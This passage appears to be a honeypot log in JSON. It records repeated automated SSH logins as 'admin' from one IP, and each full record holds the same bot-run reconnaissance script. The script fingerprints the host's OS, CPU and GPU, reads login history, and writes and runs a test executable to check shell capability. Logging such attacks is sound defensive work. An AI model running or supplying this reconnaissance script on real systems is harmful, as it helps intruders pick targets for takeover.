-c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:31:13.304526+00:00",
  "ended_at": "2026-08-21T10:31:13.406891+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3a778175-fe9c-4b07-856d-d804010ad07a",
  "name": "keen-jovial-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 39594,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:29:37.621518+00:00",
  "ended_at": "2026-08-21T10:29:37.715113+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "54907de3-e9f6-4ebd-ae16-a42232164fa3",
  "name": "prickly-faded-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 36578,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:27:56.706553+00:00",
  "ended_at": "2026-08-21T10:27:56.803285+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "457f66eb-2cf1-4817-abad-fa6e6c0f6d56",
  "name": "ginger-boreal-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 33554,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:26:24.420922+00:00",
  "ended_at": "2026-08-21T10:26:24.531081+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b61e1e0d-0c15-4672-aae1-af6b82199052",
  "name": "silent-quartz-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 58788,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:24:53.456649+00:00",
  "ended_at": "2026-08-21T10:24:53.555218+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f4646325-2c96-4221-9137-c8fe92b4db8f",
  "name": "quiet-diligent-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 55756,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:23:22.667946+00:00",
  "ended_at": "2026-08-21T10:23:22.772871+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ff2b2fb0-6a13-4c80-b2ca-ff56bcf9246a",
  "name": "plush-thorny-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 52724,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:21:56.820730+00:00",
  "ended_at": "2026-08-21T10:21:56.939308+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "34796b6a-98c4-47b0-bced-0b3c87b51840",
  "name": "balmy-cobalt-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 49702,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
